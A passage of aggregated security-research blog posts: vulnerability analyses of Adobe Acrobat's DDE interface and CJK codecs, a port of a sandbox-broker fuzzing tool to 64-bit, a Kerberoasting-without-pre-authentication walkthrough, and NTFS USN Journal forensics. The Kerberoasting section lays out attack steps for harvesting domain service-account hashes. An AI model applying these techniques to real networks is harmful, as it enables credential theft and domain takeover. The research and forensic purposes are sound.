Normal view

There are new articles available, click to refresh the page.
Before yesterdayHaboob

Exploring Acrobat’s DDE attack surface

14 December 2021 at 12:13

Introduction

 

Adobe Acrobat have been our favorite target to poke at for bugs lately, knowing that it's one of the most popular and most versatile PDF readers available. In our previous research, we've been hammering Adobe Acrobat's JavaScript APIs by writing dharma grammars and testing them against Acrobat. As we continue investigating those APIs, we decided as a change of scenery to look into other features Adobe Acrobat has provided. Even though it has a rich attack surface yet we had to find which parts would be a good place to start looking for bugs.

While looking at the broker functions, we noticed that there’s a function that’s accessible through the renderer that triggers DDE calls. That by itself was a reason for us to start looking into the DDE component of Acrobat.

In this blog we'll dive into some of Adobe Acrobat attack surface starting with DDE within adobe using Adobe IAC.


DDE in Acrobat

To understand how DDE works let's first introduce the concept of inter-process communication (IPC).

So, what is IPC? It's a mechanism for processes to communicate with each other provided by the operating system. It could be that one process informs another about an event that has occurred, or it could be managing shared data between processes. In order for these processes to understand each other they have to agree on certain communication approach/protocol. There are several IPC mechanisms supported by windows such as: mailslots, pipes, DDE ... etc.

In Adobe Acrobat DDE is supported through Acrobat IAC which we will discuss later in this blog.


What is DDE?

In short DDE stands for Dynamic Data exchange which is a message-based protocol that is used for sending messages and transferring data between one process to another using shared memory.

In each inter-process communication with DDE, a client and a server engage in a conversation.

A DDE conversation is established using uniquely defined strings as follows:

  • Service name: a unique string defined by the application that implements the DDE server which will be used by both DDE Client and DDE server to initialize the communication.

  • Topic name: is a string that identifies a logical data context.

  • Item name: is a string that identifies a unit of data a server can pass to a client during a transaction.

 

DDE shares these strings by using it's Global Atom Table. For more details about Atoms. Also, DDE protocol defines how applications should use the wPram and lParam parameters to pass larger data pieces through shared memory handles and global atoms.


When is DDE used?

 

It is most appropriate for data exchanges that do not require ongoing user interaction. An application using DDE provides a way for the user to exchange data between the two applications. However, once the transfer is established, the applications continue to exchange data without further user intervention as in socket communication.

The ability to use DDE in an application running on windows can be added through DDMEL.


Introducing DDEML

The Dynamic Data Exchange Management Library DDEML by windows makes it easier to add DDE support to an application by providing an interface to simplify managing DDE conversations. Meaning that instead of sending, posting, and processing DDE messages directly, an application can use the DDEML functions to manage DDE conversations.

So, usually the following steps will happen when a DDE client wants to start conversation with the Server:

 

  1. Initialization

Before calling a DDE functionwe need to register our application with DDEML and specify the transaction filter flags for the callback function, the following functions used for the initialization part:

  •  DdeInitializeW()

  • DdeInitializeA()

 

    Note: "A" used to indicate "ANSI" A Unicode version with the letter "W" used to indicate "wide"

   

2. Establishing a Connection

In order to connect our client to a DDE Server we must use the Service and Topic names associated with the application. The following function will return a handle to our connection which will be used later for data transactions and connection termination:

  • DdeConnect()

 

3. Data Transaction

In order to send data from DDE client to DDE server we need to call the following function:

  • DdeClientTransaction()


4. Connection Termination

DDEML provides a function for terminating any DDE conversations and freeing any DDEML resources related:

  • DdeUninitialize()

Acrobat IAC

As we discussed before about Acrobat, Inter Application Communication (IAC) allows an external application to control and manipulate a PDF file inside Adobe Acrobat using several methods such as OLE and DDE.

For example, let's say you want to merge two PDF documents into one and save that document with a different name, what do we need to achieve that ?

  1. Obviously we need adobe acrobat DC pro .

  2. The service, topic names for acrobat.

    • Topic name is "Control"

    • Service Name:

      • AcroViewA21" here "A" means Acrobat and "21" refer to the version.

      • "AcroViewR21" here "R" for Reader.


    So, to retrieve the service name for your installation based on the product and the version you can check the registry key:

What is the item we are going to use ?

When we attempt to send a DDE command to the server implemented in acrobat the item will be NULL.

Acrobat Adobe Reader DC supports several DDE messages, but some of these messages require Adobe Acrobat Adobe DC Pro version in order to work.

The format of the message should be between brackets and it's case sensitive. e.g:

  • Displaying document: such as "[FileOpen()]" and "[DocOpen()]".

  • Saving and printing documents: such as "[DocSave()]" and "[DocPrint()]".

  • Searching document: such as "[DocFind()]".

  • Manipulating document such as: "[DocInsertPage()]" and "[DocDeletePages()]".


    Note: that in order to use Acrobat Adobe DDE messages that start with Doc, the file must be opened using [DocOpen()] message.

We started by defining Service and topic names for Adobe Acrobat and the DDE messages we want to send. In our case, we want to merge two Documents into one so we need three DDE methods "[DocOpen()]" , "[DocInsertPages()]" and "[DocSaveAs()]":


 Next, as we discussed before, we first need to register our application to DDEML using DdeInitialize():

After the initialization step we have to connect to the DDE server using Service and Topic that we defined earlier:

Now we need to send our message using DdeClientTransaction() and as we can see we used XTYPE_EXECUTE with NULL Item, and our command is stored in HDDEDATA handle by calling DdeCreateDataHandle(). After executing this part of code, Adobe Acrobat will open the PDF document and append the other document to it, and save it as new file then exit Adobe Acrobat:

The last part is closing the connection and cleaning the opened handles:

So we decided to take a look at adobe plugins to see who else is implementing DDE Server by searching for DdeInitilaize() call:

Great 😈 it seems we got five plugins that implement a DDE service, before we analyzing these plugins we went to search for more info about them and we found that the search and catalog plug-ins are documented by Adobe... good what next!

 

Search Plug-in

We started to read about the search plug-in and we summarized it in the following:

Acrobat has a feature which allows the user to search for a text inside PDF document. But we already mentioned a DDE method called DocFind() right? well, DocFind() will search the PDF document page by page while the search plug-in will perform an indexed search that allows to search a word in the form of a query, so in other word we can search a cataloged PDF 🙂.

So basically the search plug-in allows the client to send search queries and manipulate indexes.

When implementing a client that communicates with the search plug-in the service name and topic's name will be "Acrobat Search" instead of "Acroview".

 

Remember when we send a DDE request to Adobe Acrobat, the item was NULL, but in search plugin there are two types of items the client can use to submit a query data and one item for manipulating the index:

 

  • SimpleQuery item: Allows the user to send a query that support Boolean operation e.g if we want to search for  any occurrence of word "bye" or "hello" we can send "bye OR hello".

  • Query item: this allow different search query and we can specify the parser handling the query.

 

While the item name used to manipulate indexes is "Index” , the DDE transaction type will be "XTYPE_POKE" which is a single poke transaction.

So, we started by manipulating indexes. When we attempt to do an operation on indexes the data must be in the following form:

Where eAction represents the action to be made on the index:

  • Adding index

  • Deleting index

  • Enabling or Disabling index on the shelf.

 

The cbData[0] will store the index file path we want to do an action on - example: “C:\\XD\\test.pdx” and PDX file is an index file that is create by one or multiple IDX files.


CVE-2021-39860

So, we started analyzing the function responsible for handling the structure data sent by the client, and turned out there are no check on what data sent.

As we can see after calling DdeAccessData(), the EAX register will storea  pointer to our data and we can see it access whatever data at offset 4 . So if we want to trigger an access violation at "movsx eax,word ptr [ecx+4]" simply send a two byte string which result in Out-Of-Bound Read 🙂 as demonstrated in the following crash:

 

Catalog Plug-in

Acrobat DC has a feature that allows the user to create a full-text index file for one or multiple PDF documents that will be searchable using the search command. The file extension is PDX. It will store the text of all specified PDF documents.

Catalog Plug-in support several DDE methods such as:

  • [FileOpen(full path)] : Used to open an index file and display the edit index dialog box, the file name must end with PDX extension.

  • [FilePurge(full path)]:  Used to purge index definition file. The file name also must end with PDX extension.

 

The Topic name for Catalog is "Control" and the service name according to adobe documentation is "Acrobat", however if we check the registry key belonging to adobe catalog we can see that is "Acrocat" (meoww) instead of "Acrobat".

Using IDApro we can see the DDE methods that catalog plugin support along with Service and Topic names:

 

CVE-2021-39861 

Since there are several DDE methods that we can send to the catalog plugin and these DDE methods accept one argument (except for "App related methods") which is a path to a file,  we started analyzing the function responsible for handling this argument and turned out 🙂:

 

The function will check the start of the string (supplied argument) for \xFE\xFF, if it's there then call Bug() function which will read the string as Unicode string, otherwise it will call sub_22007210() which will read the string as ANSI string.

So, if we can send "\xFE\xFF" or byte order mask at the start of ASCII string then probably we will end up with Out-of-bound Read since it will look for Unicode NULL terminator which is "\x00\x00" instead of ASCII NULL terminator.

We can see here the function handling Unicode string :

 

And 😎:

Here we can see a snippet of the POC:

 

That’s it for today. Stay tuned for more new attack surfaces blogs!

Happy Hunting!

References

CVE-2020-24427: Adobe Reader CJK Codecs Memory Disclosure Vulnerability

15 March 2022 at 08:36

Overview

Over the past year, the team spent sometime looking into Adobe Acrobat. Multiple vulnerabilities were found with varying criticality. A lot of them are worth talking about. There's one specific interesting vulnerability that's worth detailing in public.

Back in 2020, the team found an interesting vulnerability that affected Adobe Reader (2020.009.20074). The bug existed while handling CJK codecs that are used to decode Japanese, Chinese and Korean scripts, namely: Shift JIS, Big5, GBK and UHC. The bug was caused by an unexpected program state during the CJK to UCS-2/UTF-161 decoding process. In this short blog, we will discuss the bug and study one execution path where it was leveraged to disclose memory to leak JavaScript object addresses and bypass ASLR.

  1. BACKGROUND

Before diving into details, let us see a typical use of the functions streamFromString() and stringFromStream() to encode and decode strings:

The function stringFromStream() expects a ReadStream object obtained by a call to streamFromString(). This object is implemented natively in C/C++. It is quite common for clients of native objects to expect certain behavior and overlook some unexpected cases. We tried to see what will happen when stringFromStream() receives an object that that satisfies the ReadStream interface but behaviors unexpectedly like retuning invalid data that can’t be decoded back using –for example– Shift JIS, and this is how the bug was initially discovered.

2. PROOF OF CONCEPT

The following JavaScript is proof of concept demonstrates the bug:

It passes an object with a read() method to stringFromStream(). This function returns invalid Shift JIS byte sequence which begins with the bytes 0xfc and 0x23. After running the code, some random memory data was dumped to the debug console which may include some recognizable strings (the output will differ on different machines):

Surprisingly, this bug does not trigger an access violation or crashes the process – we will see why. Perhaps one useful heuristic to automatically detect such bug is to measure the entropy of the function output. Typically, the output entropy will be high if we pass input with high entropy. An output with low entropy could be an indication of a memory disclosure.


3. ROOT CAUSE ANALYSIS

In order to find the root of the bug, we will trace the call of stringFromStream() which is implemented natively in the EScript.api plugin. This is a decompiled pseudocode of the function:

This function decodes the hex string returned by ReadStream’s read() and checks if the encoding is a CJK encoding – among other single-byte encodings such as Windows-1256 (Arabic). It then creates an ASText object from the encoded string using ASTextFromSizedScriptText(). The exact layout of ASText object is undocumented and we had to reverse engineer it:

The u_str field is a pointer to a Unicode UCS-2/UTF-16 encoded string, and mb_str stores the non-Unicode encoded string. ASTextFromSizedScriptText() initializes mb_str. The string mb_str points to is lazily converted to u_str only if needed.

It worth noting that ASTextFromSizedScriptText() does not validate the encoded data apart from looking for the end of the string by locating the null byte. This works fine because 0x00 maps to the same codepoint in all the supported encodings as they are all supersets2 of ASCII and no multibyte codepoint uses 0x00.

Once the ASText object is created, it is passed to create_JSValue_from_ASText() which converts the ASText object to SpiderMonkey’s string JSValue to pass it to JavaScript:

The function ASTextGetUnicode() is implemented in AcroRd32.dll lazily converts mb_str first to u_str if u_str is NULL and returns the value of u_str:

The function we named convert_mb_to_unicode() is where the conversion happens. It is referenced by many functions to perform the lazy conversion:

The initial call to Host2UCS() computes the size of the buffer required to perform the decoding. Then, it allocates memory, calls Host2UCS() again for the actual decoding and terminates the decoded string. The function change_u_endianness() swaps the byte order of the decoded data. We need to keep this in mind for exploitation.

The initial call to Host2UCS() computes the size of the buffer needed for decoding:

First, Host2UCS() calls MultiByteToWideChar() to get the size of the buffer required for decoding with the flag MB_ERR_INVALID_CHARS set. This flag makes MultiByteToWideChar() fails if it encountered invalid byte sequence. This call will fail with our invalid input data. Next, it calls MultiByteToWideChar() again but without this flag. Which means the function will successfully return to convert_mb_to_unicode().

When the first call to Host2UCS() returns, convert_mb_to_unicode() allocates the buffer and calls Host2UCS() again for the actual decoding. In this call, Host2UCS() will try to decode the data with MultiByteToWideChar() again with the flag MB_ERR_INVALID_CHARS set, and this will fail as we have seen earlier.

This time it will not call MultiByteToWideChar() again because the u_str_size is not zero and the if condition is not met. This makes Adobe Reader falls back to its own decoder:

Initially, it calls PDEncConvAcquire() to allocate a buffer for holding the context data required for decoding. Then it calls PDEncConvSetEncToUCS() which looks up the character map for the codec. However, this call always fails and returns zero. Which means that the call to PDEncConvXLateString() is never reached and the function will return with u_str uninitialized.

The failing function, PDEncConvSetEncToUCS(), initially maps the codepage number to the name of Adobe Reader character map in the global array CJK_to_UC2_charmaps. For example, Shift JIS maps to 90ms-RKSJ-UCS2:

Once the character map name is resolved, it passes the character map name to sub_6079CCB6():

The function sub_6079CCB6() calls PDReadCMapResource() with the character map name as an argument inside an exception handler.

The function PDReadCMapResource() is where the exception is triggered. This function fetches a relatively large data structure stored in the current thread's local storage area:

It checks for a dictionary within this structure and creates one if it does not exist. Then, it checks for a STL-like vector and creates it too if it does not exist. This dictionary stores the decoder data and it entries are looked up by the character map name ASAtom atom string – 90ms-RKSJ-UCS2 in our case. The vector stores the names of the character maps as an ASAtom.

The code that follows is where the exception is triggered:

It looks up the dictionary using the character map name. If the character map is not in the dictionary, it is not expected to be in the vector too, otherwise it will trigger an exception. In our case, the character map 90ms-RKSJ-UCS2

– atom 0x1366 – is not in the dictionary so ASDictionaryFind() returns NULL. However, if we dumped the vector, we will find it there and this is what causes the exception:

Conclusion

In conclusion, we've demonstrated how we analyzed and root-caused the vulnerability in detail by reversing the code.
Encodings are generally hard to implement for developers. The constant need for encoders and encodings makes them a ripe area for vulnerability research as every format has its own encoders.

That’s it for today, hope you enjoyed the analysis. As always, happy hunting!


Disclose Timeline

10 – 8 – 2020 – Vulnerability reported to vendor.
31 – 10 – 2020 – Vendor confirms the vulnerability.
3 – 11 – 2020 – Vendor issues CVE-2020-24427 for the vulnerability.

Sanding the 64-bit-Acrobat’s Sandbox

1 September 2022 at 11:56

Introduction

Through out the years, Adobe invested significantly in Acrobat’s security. One of their main security improvements was introducing sandboxing to Acrobat (Reader / Acrobat Pro).

No one can deny the significance of the sandbox introduced. It definitely made things more challenging from an attacker perspective. The sandbox itself is a big hurdle to bypass, thus forcing the attackers to jump directly to the kernel instead of looking for vulnerabilities in the sandbox.

The sandbox itself is nice challenge to tackle.

In a previous post, we covered how to enumerate the broker functions in the 32-bit version of Acrobat/Reader. Since the 64-bit version is out and about, we decided to migrate the scripts we wrote to enumerate the broker functions on the 64-bit version of Acrobat. Throughout this blog post, we’ll discuss how the migration went, hurdles we faced and the final outcome. We’ll also cover how we ported the 32-bit version of Sander, a tool used to communicate with the broker to 64-bit.

If you’d like to review the previous post please refer to our blog: Hunting adobe broker functions

Finding the Differences Between Adobe Reader and Acrobat

To make our IDAPython script operate on a 64-bit Acrobat version, we needed to verify the changes between 64-bit and 32-bit versions in IDA. Since we know that there is a broker function that calls “eula.exe”, we can start looking through strings for that specific function.

We can xreference that string to get to the broker function that is responsible for calling eula.exe, which we can then xreference to get to the functions database.

 

Here we see that the database, its very different than what we’re used to, when we first saw this, we had more questions than answers!

Where are the arguments?

Where is the function tag?

We knew the tags and arguments were in the rdata section, so we decided to skim through it for a similar structure (there's got to be a better way), (tag, function call, args). While skimming through the rdata section, we kept noticing the same bytes that were bundled and defined as 'xmmword' in the 32-bit version, so we decided to use our "cleaning()" function to undefine them.

Things began to make more sense after the packaged instructions were undefined.

Since the _text,### line appears to be pointing to a function, let's try to convert it to a QWORD since it's a 64-bit executable.

VOALLA! This appears to be exactly what we're looking for, a function pointer, a tag, and some arguments! To refresh our thoughts, The structure was made up of 1-byte tag, 52-bytes of arguments, and a function offset. Let's examine if it has the same structure.

We can see that the difference with the arguments is 4-bytes using simple math, and the structure in the 64-bit Acrobat is as follows: The tag is 1-byte long, the parameters are 56-bytes long, and the function offset is a QWORD rather than a DWORD.




Migrating our 32-bit IDAPython Script to 64-bit

We can now return to our IDAPython script from the previous blog and begin updating it using our new discoveries.

The first difference we notice is that the database for the functions appears to be different. We'll need to convert the byte that contains _text,### to QWORD, which should be simple to do using the IDAPyton create_qword(addr) function.



We're basically walking through the entire rdata section here. If we see '_text,140' on a line in the rdata section, we convert it to QWORD (140 because our base address for the executable in ida starts with 140).

The next difference is that the arguments are 56-bytes rather than 52-bytes. Since we already have the logic, all we need to do is modify the loop check condition from 52 to 56-bytes and the if condition to 57, which simply checks if the 57th byte instruction is a function pointer.


Sander 32-bit

To fuzz Adobe Reader or Acrobat, we need a tool that communicates with the broker to call a specified function. Bryan Alexander created a tool called sander for this purpose, which he mentions in his blog digging the adobe sandbox internals, but the problem is that the utility only works on the 32-bit version of Acrobat. We wanted to use the tool to fuzz the 64-bit version, thus we had to upgrade the sander tool to allow it to call the 64-bit-Acrobat functions.

The tool has 5 options, one to monitor IPC calls, dump all channels, trigger a test call, and capture IPC traffic.

The tool calls functions from the broker directly. We also built another method to initiate IPC calls from the of the renderer, which we won't go into the details in this blog.

We'll try to go over all the steps of how we went from a 32-bit to a 64-bit version.

Upgrading Sander to 64-bit

The sander was written in C++, and the first function was used to start the process and locate the shared memory map containing the function call channels.

The find_memory_map method simply scans the process memory for shared memory. Because the dwMap variable was DWORD, we had to convert it to DWORD64 to store 64-bit addresses.

To be able to contain 64-bit addresses, we had to change current address from UINT to SIZE_T, the return type from UINT to DWORD64, and memory block information casting from UINT to SIZE_T in the find memory map method.

Following the execution of this function, the correct shared memory containing the channels will be returned.

The next step is to build an object that holds all of the channels' data. How many channels are there, is the channel busy or not, what kind of information is on it, and so on.

Those methods that read the structures have a lot of offsets, which are likely to change a lot with the 64-bit version, so we'll need to run Acrobat and look at the structures to see what offsets have changed.

Setting a breakpoint after the find_memory_map function call in Visual Studio will tell us the shared memory address we need to investigate.

Here we can see the shared memory as well as all of the data we'll need to finish our job.

In this code, it just sets certain variables in the object because dwSharedMem was DWORD, we also had to modify it to DWORD64.

Digging inside the Unpack() function, we can see some offsets

The first is channel_count, which does not require any changes because it is the initial four bytes of shared memory.

The offset of the first channel in memory is stored in dwAddr, which we altered from 0x8 to 0x10 because in the 32 bit version all information was stored as 4 bytes each. However in the 64 bit version, all information are stored as 8 bytes each.

Let's have a look at the channel control now. The Unpack function retrieves information about each channel and stores it in its own object.



The state has been changed to 0x8, the ping event has been changed to 0x10, the pong event has been changed to 0x18, and the ipc tag has been changed to 0x18. This was simple because all 32-bit values were converted to 64-bit.

lets now check the crosscallparams Unpack function which retrieves argument information:

This is the channel buffer memory layout; there are 5 arguments, type 1 for the first argument, offset b0 for the first argument, and size 42.

Inside the loop, we go over all parameters in this channel and extract their information. We may jump to the first parameter type by using offset 0x68 from the beginning of channel_buffer, the size is channel_buffer + 8, and the offset is channel_buffer + 4. We'll keep multiplying I to 0xc (12 bytes) in each loop to go over all the parameters because each parameter information is 12 bytes.

Finally, using ReadProcessMemory and the offset of that specific buffer, we read the parameter buffer.

We won't go over every change we made to the 64-bit version, but basically, we compare the memory layout of the 64-bit version to the 32-bit version and make the necessary changes. We did the same thing with the pack functions, which are the contrary of unpack in that instead of reading information from the memory, we write our own tag and function information to the memory and then signal the broker function to trigger a specific function.

As a test, we triggered the Update Acrobat function with the tag "0xbf". Thanks to our IDAPython script, we know how many parameters it requires and what type of parameter it accepts.

Conclusion

We can now proceed with a fuzzing strategy to find bugs in the Acrobat sandbox.

This is only the first step. Stay tuned for more posts about how we ended up fuzzing the Acrobat Sandbox.

Until then, happy hunting!

Permalink

New Attack Path: Kerberoasting without pre-authentication

22 October 2022 at 19:05

Kerberos Armoring “Flexible Authentication Secure Tunneling (FAST)” provides a protected channel between the Kerberos client and the KDC. FAST is implemented as Kerberos armoring in Windows Server 2012, and it is only available for authentication service (AS) and ticket-granting service (TGS) exchanges. Microsoft says “Kerberos armoring uses a ticket-granting ticket (TGT) for the device to protect authentication service exchanges with the KDC, so the computer’s authentication service exchange is not armored. The user’s TGT is used to protect its TGS exchanges with the KDC.

So, the question now; is it possible to request service tickets (STs) from the authentication service (AS)?. The ability to request STs from the AS has several consequences including new attack path. This issue will be discussed and demonstrated in this post.

How Does The Kerberos Authentication Flow Works?

First, here’s a high-level overview of the typical Kerberos authentication flow:

  1. An account requests a TGT from the domain controller (DC).

  2. The DC responds with a TGT, which has its own session key.

  3. The TGT and its session key are used to request a service ticket (ST) from the DC.

  4. The DC responds with an ST, which has its own session key.

  5. The ST and its session key are used to authenticate against the end service.

Figure 1. Kerberos Authentication Flow

A Kerberos request has two main sections:

  • padata (pre-authentication data)

  • req-body (request body)

The req-body is sent mostly in plaintext and contains several pieces of information:

  • kdc-options: various options.

  • cname: name of the requesting account (optional).

  • realm: domain name.

  • sname: service principal name (SPN) for the resulting ticket (optional).

  • from: time from which the client wants the ticket to be valid (optional).

  • till: time until which the client wants the ticket to be valid.

  • rtime: the requested renew time (optional).

  • nonce: random number.

  • etype: list of supported encryption types of the client.

  • addresses: list of addresses of the requesting client (optional).

  • enc-authorization-data: various authorization data sections, encrypted with the session key that is usually used for local privileges (optional).

  • additional-tickets: list of tickets required for the request (optional).

Figure 2. Kerberos Req-Body

A Kerberos reply has several sections and contains an encrypted part:

  • pvno: version number.

  • msg-type: type of message.

  • padata: pre-authentication data (optional).

  • crealm: client domain name.

  • cname: name of the requesting account.

  • ticket: resulting ticket.

  • enc-part: encrypted data for use by the client.

Figure 3. Kerberos Reply

 

The Issue With AS Requested Service Tickets

The part of the Kerberos flow that this blog focuses on, is “AS-REQ/AS-REP” step 1&2 in Figure 1, which is usually used to request a TGT. if the (FAST) enforced, machine accounts still sent their AS-REQs unarmored. So, an AS-REQ could be used to request an ST directly, rather than a TGT. In otherwards, by specifying another SPN within the “sname” of an AS-REQ would cause the DC to reply with a valid Service Tickets for that SPN.

Figure 4. Service Ticket Requested From The AS.

So, By using a machine account, it is possible to request an ST without using armoring when FAST is enforced. What else is possible?

 

Kerberoasting Without Pre-Authentication – New Way To Kerberoast

In Kerberoasting technique, access to the user’s session key is not required. Only the resulting Service Ticket or more accurately, the encrypted part of the Service Ticket. Therefore, if any account is configured to not require pre-authentication, it is possible to Kerberoast without any credentials. This method of Kerberoasting has been implemented in Rubeus as we will see in the demo.

So, the new attack steps will be as follow:

  1. Identifying a valid list of domain users – [using Kerbrute tool].

  2. Using the found valid usernames list in step 1, determining accounts that do not require pre-authentication - [using Rubeus tool].

  3. With the list of usernames/spns of the current domain and the username of an account that does not require pre-authentication “from step 2”, the attack can be launched to obtain the service accounts hashes - [using Rubeus tool].

  4. The resulting output can be used to attempt offline password cracking. – [using hashcat or john tools].

 

Identifying a Valid List of Domain Users

First, We need to harvest and get valid domain users that exist in the current domain. Kerbrute tool with common random usernames list can be used.

Figure 5. Harvesting Domain Usernames.

 

Accounts That Do Not Require Pre-Authentication

Now, we need to find a domain user that do not require pre-authentication, we can do that using Rubeus and the valid usernames list that we got using Kerbrute tool in first step.

Figure 6. Accounts That Do Not Require Pre-Authentication

Note that preauthscan flag is used. The output shows that testuser domain user does not required Pre-Auth.

 

Launched The Attack and Perform a Kerberoasting

With the list of usernames/SPNs of the current domain and the username of an account that does not require pre-authentication “from previous step”, the attack can be launched to obtain the service accounts hashes using Rubeus. Note that /nopreauth flag is used with testuser which is the account that does not required pre-auth. The output shows two kerberostable users. These users’ hashes are obtained successfully.

Figure 7. Kerberoasting Attack Without Pre-Authentication.

 

Crack Service Tickets Hashes Offline

Finally, The resulting output can be used to attempt offline password cracking using Hashcat or John the Ripper. The cracked hashes can be used to move laterally across the domain environment based on user's permissions.

Figure 8. Crack Service Tickets Hashes Offline.

 

Video Demo

In this video, we demonstrate the whole attack from a machine that joined to VAPTLAB.LOCAL domain with a local administrator account “web01\administrator“. The idea is to show that the new technique does not require any credentials. From local administrator account To Domain Admin without using any passwords :) .

 

Conclusion:

Kerberoasting Without Pre-Authentication opened a new path attack. As we explained, an attacker can use an account that does not require pre-auth to take over the whole environment. So, it’s highly recommended if you are using accounts that do not require pre-auth to setup then with strong passwords that can not be cracked offline “really, really strong passwords, not P@ssw0rd :)”.

 

References:

  1. Rubeus

    https://github.com/GhostPack/Rubeus

  2. Kerbrute

    https://github.com/ropnop/kerbrute

  3. New Attack Paths? AS Requested Service Tickets - by CHARLIE CLARK

    https://www.semperis.com/blog/new-attack-paths-as-requested-sts/

New Attack Path: Kerberoasting without pre-authentication

Advanced “USN Journal” Forensics

7 November 2022 at 11:16

NTFS is the default journaling file system for windows operating systems. Understanding NTFS features and how it works helps Digital Forensics investigators navigate and conduct their analysis for various objectives. The NTFS file system contains several files (called metafiles) to organize and structure the file system, one of those metafiles is the master file table ($MFT) which is used by forensics practitioners to gain insight into all files within an NTFS structured volume. Later, Microsoft added the USN Journal (Update Sequence Number) “$UsnJrnl” metafile which is also called the change journal, to maintain information of all changes occurred to files and folders on an NTFS volume, providing records for what and when changes are made and to which objects.

One USN Journal is stored within each NTFS volume and is stored in the NTFS metafile named “$Extend\$UsnJrnl”. The journal begins with an empty file, and whenever a change is made to the volume, a record is added to the file. Each record will contain a 64-bit Update Sequence Number (USN), the name of the file and a bit flag (e.g. USN_REASON_DATA_OVERWRITE) representing the change that was made.

“$UsnJrnl” has two main data streams which are, “$J”which records file and folder changes that occurred on the volume, and “$MAX”which is a small file that stores metadata about “$UsnJrnl”.

 

Forensics Value

Since “$J has records of all changes on files and folders in a volume including deleted files, this opens the doors for digital forensics investigators and threat hunters to empower their analysis with information such as the following:

  • Detection of malicious tools and bad files that were present at some point in time within the file system, which provides insight into suspicious/malicious user activity.

  • Detection of “Timestomping” activity, a technique used by attackers which is the alteration of timestamps of files to confuse investigators during their analysis.

  • Extending “Prefetch” artifacts value, which each contain the dates for the last 8 times an executable was run, which is a limitation of the artifact. This limitation can be overcome to gain the dates for more executions of an executable (Subject to the limitations of USN Journal below).

 

Limitations

  • The records indexed in the “$J” data stream has a maximum size and can be checked using the command “fsutil usn queryjournal C:” (C in this example is the target volume) and in busy volumes it can store approximately 20 days of changes on all files and folders.

  • The “$UsnJrnl” is a metafile, which makes its acquisition a little bit more complex than doing copy and paste.

 

Acquisition and Parsing of “$J” Data Stream

The “$J” USN Journal data stream is located in “VOLUME:$EXTEND/$UsnJrnl/$J” (note that each volume has its own journal). The acquisition can be conducted by any disk forensics or data preview and imaging software such as Encase, and FTK Imager.

Figure 1. Acquiring the “$J” data stream

The parsing of the “$J” data stream can be conducted using tools such as UsnJrnl2Csv64.exe, or MFTECmd.exe which will be used in this post.

Figure 2. Using “MFTECmd” to parse the “$J” data stream

We used the “--csv” switch to get the parsing results in CSV format so it can be further inspected and analyzed with software made for that purpose. Timeline Explorer.exe is a good choice for our purposes and is highly recommended for forensic investigators.

Figure 3. The parsed “$J” data stream viewed in “Timeline Explorer”

Note that Parent Path has no values, because the “$J” records don’t store such information, such information can be either correlated manually by going through the Master File Table ($MFT) and matching the entry numbers in both records, or “$MFT” can be passed to “MFTECmd” tool as an argument and automatic correlation will be conducted by the tool itself.

Figure 4. Parsing the “$J” data stream and enriching it with parsed “$MFT” information to show the full path

Figure 5. The parsed and merger of “USN Journal” and “Master File Table” records viewed in “Timeline Explorer”

 

Use Cases for The Utilization of USN Journal for Forensic Analysis

  1. Detection of Deleted Files:

    To demonstrate this use-case, we will create a malicious file, use the file, and then remove it permanently from the system, and try to detect its past presence using USN Journal, so we will download psexec.exe (Our model for the malicious tool) on the test machine and then delete it.

Figure 6. “PsExec.exe” is dropped in “C:/Users/User/Desktop/article” folder

Figure 7. Deleting “PsExec.exe” permanently from the machine

Now to hunt for this tool, we will acquire “$UsnJrnl:$J” and “$MFT” parse them and merge their results to enrich the output with the parent path for each record using “MFTECmd” as explained earlier.

Figure 8. Merged $UsnJrnl and $MFT parsed records show the full life-cycle of the file on the volume

As shown in the figure above, using information from the “Update Reasons” and “Update Timestamp” fields, we can draw a timeline of the file activity on the volume from its creation on “2022-10-24 16:12:04” and finally after the attacker used it, its deletion on “2022-10-24 16:15:16”.

 

2. Detection of “TimeStomping” Activity:

Timestomping is a technique used by attackers which is the change of file attributes that contain dates (MACB) such as the file creation and modification dates, to confuse investigators by diverging certain files from the timeline analysis of a certain incident or activity. Attackers mostly use this technique when planting a persistent malicious backdoor, so incident responders cannot detect it when looking at files planted by the attacker when searching within the incident time range.

We will do a small experiment to demonstrate how this can be done, and how USN Journal analysis can help uncover such activities.

Figure 9. Shows the current modification date for “calcx.exe” as it appears in the system

 “nTimeStomp.exe“ is a tool that allows changing timestamps of a file, and in this experiment we used it to alter the date and time information back to “1996-01-07 12:34:56.7890123” for all MACB attributes.

Figure 10. Using “nTimestomp.exe” to alter date and time attributes for “calcx.exe”

Now if we check the file metadata we can see the change reflected on the target file and a new fake date/time appears on its MACB attributes.

Figure 11. Timestomped “calcx.exe”

Now we will acquire the actual MACB dates for the file utilizing the Change Journal (USN Journal) and enriching its output by parsing and mergin the “$J” and “$MFT” metafiles. Looking for entries related to “calcx.exe” we can see the actual dates for the file activities on the volume.

Figure 12. Parsed “$J” output showing the real time and date of the file

As shown the file creation date is a fresh date and not actually back in “1996”, and in “Update Reasons” show “BasicInfoChange” which indicate a metadata change was occurred on the file, hence the the identification of the timestomping technique. This can be further enhanced to hunt for files that are timestomped without having a specific file in question, by collecting MACB attributes from “$MFT” or directly from recursively going over the volume, than joining both results by “File Name” and running an equation to calculate the difference in times for both entries, if they do not match, alert on that for “Timestomping Activity Detected”.

 

3. Prefetch Output Enrichment:

Any executable that is run on a Windows System, uses a set of imported functions from a set of .dll’s (Dynamic-Link Library). Have you noticed that running an application for the first time takes more time than running it afterwards? That’s what Prefetch is used for. It monitors application execution usage pattern and caching the dlls and other data files and makes it available in memory in advance so they can be accessed quickly when needed hence speeding up application execution. Prefetch serves an additional value, for Digital Forensics investigators which it can be used to identify which applications were running on a Windows system (evidence of execution). It also includes other information such as the last 8 times an executable was run. This advantage has also an obvious limitation that is it gives only the last 8 times an application was run. However, utilizing the “USN Journal”, this limit can be overcome as the “$J” data stream stores changes for any file (including updates on “.pf” files) so it will store all changes occurred on prefetch records (.pf). By looking for “DataExtend|DataTruncation|Close” flags which are assigned in USN records for each time the prefetch file is updated which happens at each application execution, we can identify the dates/times for more number of executions for an application, ergo exceeding the 8 times limit imposed on the Prefetch.

To demonstrate this, we will try to parse the prefetch record for “conhost.exe” in a test machine using “PECmd.exe“ then parse the USN Journal and compare outputs.

Figure 13. Parsing the Windows prefetch records with “PECmd”

Now if we filter the results for “conhost.exe”, as show in below figure, we will get the last 8 times the application was executed including the last time it was run which was at “2022-10-25 10:37:03”.

Figure 14. The last 8 times “conhost.exe” was executed, extracted from its prefetch record

